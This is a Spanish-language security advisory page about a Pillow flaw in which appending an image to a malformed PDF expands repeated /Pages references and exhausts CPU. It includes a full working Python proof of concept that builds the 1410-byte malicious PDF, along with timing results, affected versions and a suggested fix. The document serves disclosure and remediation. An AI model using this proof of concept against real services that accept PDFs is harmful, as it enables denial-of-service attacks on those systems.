Alta

El anexado de PDF de Pillow acepta un DAG de árbol de páginas compartido malformado causando agotamiento de recursos

  • Publicada: 22.10.2026
  • Actualizado: 29.10.2026 12:17

El aviso original ha cambiado desde que se preparó esta explicación. Consulta los datos técnicos actuales y el aviso original a continuación.

Resumen

La ruta documentada de anexado de PDF de Pillow puede consumir un tiempo de CPU desproporcionado al procesar un árbol de páginas PDF malformado y compacto.

Un atacante capaz de suministrar un archivo PDF existente a una aplicación que anexa una imagen con Image.save(..., format="PDF", append=True) puede proporcionar un árbol /Pages malformado donde cada nivel repite la misma referencia secundaria /Pages en /Kids. Pillow trata el grafo como un árbol y expande cada referencia repetida en PdfParser.linearize_page_tree() sin rastrear referencias indirectas visitadas o duplicadas.

En la prueba acotada a continuación, un PDF de 1410 bytes se expande a 8192 referencias de página a partir de un único objeto de página diferenciado y tarda aproximadamente 9.6 segundos en la ruta de anexado. Un control lineal comparable con la misma profundidad permanece en una única referencia de página y se completa en aproximadamente 0.02 segundos.

Esto entra dentro del alcance de la política de seguridad de Pillow porque es reproducible en main, afecta a la versión pública más reciente probada (12.3.0) y no es simplemente una excepción inesperada de Python. La operación vulnerable acepta bytes de PDF controlados por el atacante a través del analizador de PDF de Pillow y provoca un consumo determinista de recursos antes de su finalización normal.

Detalles

Versiones afectadas

  • Paquete: Pillow
  • Ecosistema: pip / PyPI
  • Componente afectado: recorrido del árbol de páginas src/PIL/PdfParser.py alcanzado desde el procesamiento de anexado de PDF en src/PIL/PdfImagePlugin.py
  • Versión afectada probada en tiempo de ejecución: 12.3.0
  • Versión de desarrollo afectada probada en tiempo de ejecución: 13.0.0.dev0
  • Commit probado: b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Hash del artefacto de origen actual: sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054
  • Commit de la versión 12.3.0: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d
  • Hash del artefacto de origen de la versión 12.3.0: sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81
  • Afectado a nivel de código fuente: 5.1.0, 12.2.0, 12.3.0 y HEAD
  • Rango probablemente afectado: >= 5.1.0
  • Versiones parcheadas: ninguna conocida

Cadenas de hechos de evidencia:

  • Probado en tiempo de ejecución afectado: 12.3.0
  • Probado en tiempo de ejecución afectado: 13.0.0.dev0 en b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Afectado a nivel de código fuente: 5.1.0
  • Afectado a nivel de código fuente: 12.2.0
  • Afectado a nivel de código fuente: HEAD
  • Rango probablemente afectado: >= 5.1.0, sin versión corregida conocida
  • Nota previa al límite: 5.0.0 contiene PdfImagePlugin.py pero no src/PIL/PdfParser.py

5.0.0 contiene src/PIL/PdfImagePlugin.py pero no contiene src/PIL/PdfParser.py. PdfParser.py fue introducido por 6207b44ab1ff4a91d8ddc7579619876d0bb191a4 (2018-01-18 issue #2959: support appending to existing PDFs), publicado en 5.1.0.

Detalles técnicos

La ruta alcanzable es:

  1. Un servicio o aplicación recibe un PDF existente influenciado por el atacante y anexa una imagen utilizando la ruta pública de guardado de PDF de Pillow:

    python
    Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)
  2. src/PIL/PdfImagePlugin.py redirige append=True a PdfParser:

    python
    is_appending = im.encoderinfo.get("append", False)
    filename_str = filename.decode() if isinstance(filename, bytes) else filename
    if is_appending:
        existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b")
    else:
        existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")
  3. src/PIL/PdfParser.py analiza el PDF existente y linealiza el árbol de páginas:

    python
    self.page_tree_root = self.read_indirect(self.pages_ref)
    self.pages = self.linearize_page_tree(self.page_tree_root)
    self.orig_pages = self.pages[:]
  4. linearize_page_tree() sigue recursivamente cada entrada /Kids y amplía la lista de páginas. No rastrea la identidad de los nodos del árbol de páginas, referencias duplicadas ni referencias activas de recorrido:

    python
    def linearize_page_tree(
        self, node: PdfDict | None = None
    ) -> list[IndirectReference]:
        page_node = node if node is not None else self.page_tree_root
        check_format_condition(
            page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages"
        )
        pages = []
        for kid in page_node[b"Kids"]:
            kid_object = self.read_indirect(kid)
            if kid_object[b"Type"] == b"Page":
                pages.append(kid)
            else:
                pages.extend(self.linearize_page_tree(node=kid_object))
        return pages
  5. Durante el anexado, rewrite_pages() itera a través de la lista expandida orig_pages y escanea/reemplaza entradas en self.pages, agregando un coste adicional a la lista de referencias duplicadas ya expandida.

El invariante ausente es:

The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.

La prueba utiliza intencionalmente un DAG de árbol de páginas PDF malformado: cada nodo /Pages repite la misma referencia secundaria /Pages siguiente dos veces. Pillow acepta este grafo y lo expande como si la referencia repetida representara subárboles distintos.

PoC

Entorno utilizado para la validación:

  • SO/entorno de ejecución: Linux, Python 3.13.11
  • Compilación probada actual: Pillow 13.0.0.dev0, commit b39b9649312fbc381060e8c7c7f9f0de4cc63daa
  • Última versión probada: Pillow 12.3.0
  • La prueba utiliza exclusivamente archivos PDF sintéticos en memoria y no contacta con la red.

Guardar como poc_pillow_pdf_page_tree_dag.py:

python
#!/usr/bin/env python3
from __future__ import annotations

import io
import json
import sys
import time

from PIL import Image, PdfParser
import PIL


def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
    if fanout not in (1, 2):
        raise ValueError("fanout must be 1 or 2")

    objects: list[bytes] = [b"<< /Type /Catalog /Pages 2 0 R >>"]
    for object_id in range(2, depth + 3):
        next_id = object_id + 1
        kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
        parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
        objects.append(b"<< /Type /Pages /Kids [ " + kids + b" ]" + parent + b" >>")
    objects.append(f"<< /Type /Page /Parent {depth + 2} 0 R >>".encode("ascii"))

    result = bytearray(b"%PDF-1.4\n")
    offsets = [0]
    for object_id, value in enumerate(objects, start=1):
        offsets.append(len(result))
        result.extend(f"{object_id} 0 obj\n".encode("ascii"))
        result.extend(value)
        result.extend(b"\nendobj\n")

    xref_offset = len(result)
    result.extend(f"xref\n0 {len(objects) + 1}\n".encode("ascii"))
    result.extend(b"0000000000 65535 f \n")
    for offset in offsets[1:]:
        result.extend(f"{offset:010d} 00000 n \n".encode("ascii"))
    result.extend(
        f"trailer\n<< /Size {len(objects) + 1} /Root 1 0 R >>\n"
        f"startxref\n{xref_offset}\n%%EOF\n".encode("ascii")
    )
    return bytes(result)


def run_case(depth: int, fanout: int) -> dict[str, object]:
    payload = make_page_tree_pdf(depth, fanout)
    expected_refs = fanout ** (depth + 1)

    start = time.monotonic()
    with PdfParser.PdfParser(buf=payload) as pdf:
        observed_refs = len(pdf.pages)
        distinct_refs = len(set(pdf.pages))
    parse_seconds = time.monotonic() - start

    output = io.BytesIO(payload)
    start = time.monotonic()
    Image.new("L", (1, 1), 0).save(output, format="PDF", append=True)
    append_seconds = time.monotonic() - start

    return {
        "fanout": fanout,
        "depth": depth,
        "input_bytes": len(payload),
        "expected_refs": expected_refs,
        "observed_refs": observed_refs,
        "distinct_refs": distinct_refs,
        "parse_seconds": round(parse_seconds, 6),
        "append_seconds": round(append_seconds, 6),
        "output_bytes_after_append": len(output.getvalue()),
    }


def main() -> int:
    depth = int(sys.argv[1]) if len(sys.argv) > 1 else 12
    if not 0 <= depth <= 16:
        raise SystemExit("depth must be between 0 and 16")

    linear = run_case(depth, fanout=1)
    shared_dag = run_case(depth, fanout=2)

    checks = {
        "linear_control_stays_one_page": linear["observed_refs"] == 1,
        "candidate_expands_to_expected_duplicate_refs": shared_dag["observed_refs"]
        == shared_dag["expected_refs"],
        "candidate_has_one_distinct_page_ref": shared_dag["distinct_refs"] == 1,
        "candidate_input_is_compact": shared_dag["input_bytes"] <= 2048,
        "append_path_processed_both_inputs": linear["output_bytes_after_append"]
        > linear["input_bytes"]
        and shared_dag["output_bytes_after_append"] > shared_dag["input_bytes"],
    }
    result = {
        "pillow_version": PIL.__version__,
        "pillow_file": PIL.__file__,
        "depth": depth,
        "linear_control": linear,
        "shared_dag_candidate": shared_dag,
        "checks": checks,
        "overall_passed": all(checks.values()),
    }
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if result["overall_passed"] else 1


if __name__ == "__main__":
    raise SystemExit(main())

Ejecutar:

bash
python3 poc_pillow_pdf_page_tree_dag.py

Resultado esperado:

"overall_passed": true
"linear_control": observed_refs == 1
"shared_dag_candidate": input_bytes == 1410
"shared_dag_candidate": observed_refs == 8192
"shared_dag_candidate": distinct_refs == 1

Observado en el entorno actual main / 13.0.0.dev0:

1410-byte input -> 8192 observed page refs -> 9.563007s append

Observado en Pillow 12.3.0:

Pillow 12.3.0: 1410-byte input -> 8192 observed page refs -> 9.670602s append

Como comparación, el control lineal en el mismo entorno de prueba utiliza un árbol de páginas de profundidad comparable con fanout=1; produce una única referencia de página y completó el anexado en aproximadamente 0.016 a 0.028 segundos en mis ejecuciones de validación.

Impacto

Se trata de un problema de disponibilidad en la gestión de anexado de PDF de Pillow. Las aplicaciones se ven afectadas si usuarios no confiables pueden suministrar un PDF existente al cual la aplicación posteriormente anexa contenido, añade marcas de agua o exporta utilizando la ruta Image.save(..., format="PDF", append=True) de Pillow.

La primitiva demostrada es una amplificación determinista de CPU/recursos generada a partir de bytes de PDF compactos controlados por el atacante. La prueba no demuestra impacto en la confidencialidad, integridad, corrupción de memoria, acceso al sistema de archivos, acceso a la red ni impacto a través de un uso normal de Image.open().

Requiere un PDF existente influenciado por el atacante procesado mediante la ruta documentada de anexado de PDF de Pillow; no un Image.open() ordinario.

Esto no debe considerarse como una simple excepción inesperada de Python. En las compilaciones afectadas probadas, el PDF malformado se acepta y se procesa hasta completarse normalmente tras la costosa expansión.

Mitigación

Rechazar referencias duplicadas y cíclicas en el árbol de páginas antes de construir self.pages y self.orig_pages.

Una posible corrección es pasar el estado de recorrido a través de linearize_page_tree():

  • Rastrear referencias activas de /Pages para rechazar ciclos.
  • Rastrear referencias indirectas vistas en el árbol de páginas y páginas para rechazar referencias duplicadas.
  • Generar PdfFormatError cuando el árbol de páginas no sea un árbol acíclico de referencias indirectas únicas.

Pruebas de regresión sugeridas:

  • Un PDF pequeño cuyo arreglo /Kids repita la misma referencia secundaria /Pages debería generar PdfFormatError rápidamente cuando se use a través de Image.save(..., format="PDF", append=True).
  • Un árbol de páginas lineal anidado normal debería continuar anexándose con éxito.

Qué hacer

Actualice Pillow a la versión 13.0.0 o superior. Como alternativa, implemente mitigaciones para rechazar referencias duplicadas y cíclicas en el árbol de páginas antes de construir self.pages y self.orig_pages, por ejemplo, rastreando referencias activas /Pages en linearize_page_tree() y lanzando PdfFormatError.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) pillow >= 5.1.0, < 13.0.0 13.0.0

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Debilidad (CWE)
CWE-400, CWE-407
Plataforma
Python (PyPI)
Paquete
pillow
Publicada
22.10.2026
Actualizado
29.10.2026 12:17

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-mrfp-p49p-3hf2 - CC BY 4.0

Historial de vulnerabilidades: pillow

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (106) en el archivo
Entradas en total
106
Primera → última
04.2014 11.2026
Sin corrección
0
Explotada en ataques
1

Distribución por gravedad

  • Crítica 14
  • Alta 63
  • Media 27
  • Baja 1
  • Sin evaluar 1

Divulgaciones por año

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 19
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 49

antes: 12

Gravedad:
  1. El anexado de PDF de Pillow acepta un DAG de árbol de páginas compartido malformado causando agotamiento de recursos esta entrada
    Alta CVE-2026-96640 >= 5.1.0, < 13.0.0 13.0.0
  2. Alta CVE-2026-112390 >= 7.2.0, < 13.0.0 13.0.0
  3. Crítica CVE-2026-112900 >= 2.6.0, < 13.0.0 13.0.0
  4. Alta · 7.5 CVE-2026-112405 >= 12.0.0, < 13.0.0 13.0.0
  5. Crítica · 9.8 CVE-2026-112403 < 13.0.0 13.0.0
  6. Alta · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  7. Alta CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  8. Alta · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  9. Alta CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  10. Alta · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  11. Alta · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  12. Crítica · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
  13. Alta · 8.8 Explotada en ataques CVE-2023-4863 < 10.0.1 10.0.1
  14. Alta · 7.5 CVE-2022-45199 >= 9.2.0, < 9.3.0 9.3.0
  15. Alta · 7.5 CVE-2022-30595 >= 9.1.0, < 9.1.1 9.1.1
  16. Alta · 9.1 CVE-2022-24303 < 9.0.1 9.0.1
  17. Crítica · 9.8 CVE-2022-22817 < 9.0.1 9.0.1
  18. Alta · 7.5 CVE-2021-23437 >= 5.2.0, < 8.3.2 8.3.2
  19. Crítica · 9.8 CVE-2021-34552 < 8.3.0 8.3.0
  20. Alta · 7.5 CVE-2021-28677 < 8.2.0 8.2.0
  21. Alta · 7.5 CVE-2021-28676 < 8.2.0 8.2.0
  22. Alta · 9.1 CVE-2021-25288 >= 2.4.0, < 8.2.0 8.2.0
  23. Alta · 9.1 CVE-2021-25287 >= 2.4.0, < 8.2.0 8.2.0
  24. Alta · 5.5 CVE-2021-28675 < 8.2.0 8.2.0
  25. Alta · 7.5 CVE-2021-25293 >= 4.3.0, < 8.1.1 8.1.1
  26. Alta · 7.5 CVE-2021-25291 < 8.2.0 8.2.0
  27. Alta · 7.5 CVE-2021-25290 < 8.1.1 8.1.1
  28. Crítica · 9.8 CVE-2021-25289 < 8.1.1 8.1.1
  29. Alta · 7.5 CVE-2021-27923 < 8.1.2 8.1.2
  30. Alta · 7.5 CVE-2021-27922 < 8.1.2 8.1.2
  31. Alta · 7.5 CVE-2021-27921 < 8.1.2 8.1.2
  32. Alta · 8.8 CVE-2020-35654 < 8.1.0 8.1.0
  33. Alta · 7.1 CVE-2020-35653 < 8.1.0 8.1.0
  34. Crítica · 8.1 CVE-2020-11538 < 7.1.0 7.1.0
  35. Alta · 5.5 CVE-2020-10994 < 7.1.0 7.1.0
  36. Alta · 5.5 CVE-2020-10177 < 7.1.0 7.1.0
  37. Alta · 7.5 CVE-2019-19911 < 6.2.2 6.2.2
  38. Alta · 7.1 CVE-2020-5313 < 6.2.2 6.2.2
  39. Crítica · 9.8 CVE-2020-5312 < 6.2.2 6.2.2
  40. Crítica · 9.8 CVE-2020-5311 < 6.2.2 6.2.2
  41. Crítica · 8.8 CVE-2020-5310 < 6.2.2 6.2.2
  42. Alta · 6.5 CVE-2016-2533 < 3.1.1 3.1.1
  43. Crítica · 9.8 CVE-2016-4009 < 3.1.1 3.1.1
  44. Alta · 6.5 CVE-2016-0775 < 3.1.1 3.1.1

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.